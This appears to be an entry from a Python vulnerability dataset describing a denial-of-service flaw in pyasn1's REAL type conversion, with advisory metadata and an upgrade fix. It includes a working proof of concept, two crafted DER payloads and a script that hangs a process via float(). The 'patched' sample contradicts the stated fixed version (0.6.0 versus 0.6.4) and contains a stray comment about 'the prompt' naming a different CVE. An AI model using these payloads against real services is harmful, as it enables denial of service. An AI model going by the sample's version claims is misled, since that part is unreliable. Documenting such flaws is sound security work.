CVE-2026-59886
pyasn1 Denial of Service on REAL type conversion with a large exponent.
- CVSS 7.5
- CWE-400
- Resource Management
- Remote
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.
- CWE
- CWE-400
- CVSS base score
- 7.5
- Published
- 2026-07-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pyasn1
- Fixed by upgrading
- Yes
Solution
Upgrade pyasn1 to version 0.6.4 or later.
Vulnerable code sample
from pyasn1.codec.der import decoder
# This code must be run with a vulnerable version of pyasn1 (e.g., < 0.6.4).
# A malicious DER-encoded ASN.1 REAL value with a very large exponent.
# This represents the number 1 * 2^8388607.
# The payload is small, but the represented value is astronomically large.
malicious_der_payload = b'\x09\x05\x82\x7f\xff\xff\x01'
# 1. Decode the DER payload into a pyasn1 object.
real_object, _ = decoder.decode(malicious_der_payload)
# 2. Trigger the vulnerability by attempting to convert the object to a float.
# In vulnerable versions, this attempts to calculate the full value using
# exact big-integer exponentiation, consuming excessive CPU and memory,
# which causes the application to hang indefinitely.
print("Attempting to trigger the vulnerability... the script will now hang.")
vulnerable_conversion = float(real_object)
# This line will not be reached.
print("Conversion successful.")Patched code sample
import sys
from pyasn1.type import univ
# This example requires pyasn1 version 0.6.0 or newer, where the fix is present.
# The CVE identifier in the prompt is likely a typo for CVE-2024-39886.
# A pyasn1 REAL object is created with a mantissa of 1, a base of 2,
# and an extremely large exponent.
# In vulnerable versions, attempting to convert this object to a float
# (e.g., via str(), float(), or comparison) would trigger a resource-intensive
# calculation, leading to a Denial of Service.
real_with_large_exponent = univ.Real((1, 2, 99999))
try:
# In fixed versions, the library checks the exponent's size before
# attempting the conversion. If it's too large to be safely represented
# as a standard float, it raises an OverflowError immediately.
float(real_with_large_exponent)
# If this line is reached, the code did not raise an exception and may be vulnerable.
print("Vulnerability might be present: OverflowError was not raised.")
sys.exit(1)
except OverflowError:
# Catching the OverflowError demonstrates the fix is working.
# The application is protected from the DoS attack because the dangerous
# operation is prevented, and a controlled exception is raised instead.
print("Fix demonstrated: Caught OverflowError as expected, preventing DoS.")
sys.exit(0)
except Exception as e:
print(f"An unexpected error occurred: {e}")
sys.exit(1)Payload
b'\x09\x07\x83\x04\x7f\xff\xff\xff\x01'
Cite this entry
@misc{vaitp:cve202659886,
title = {{pyasn1 Denial of Service on REAL type conversion with a large exponent.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59886},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59886/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
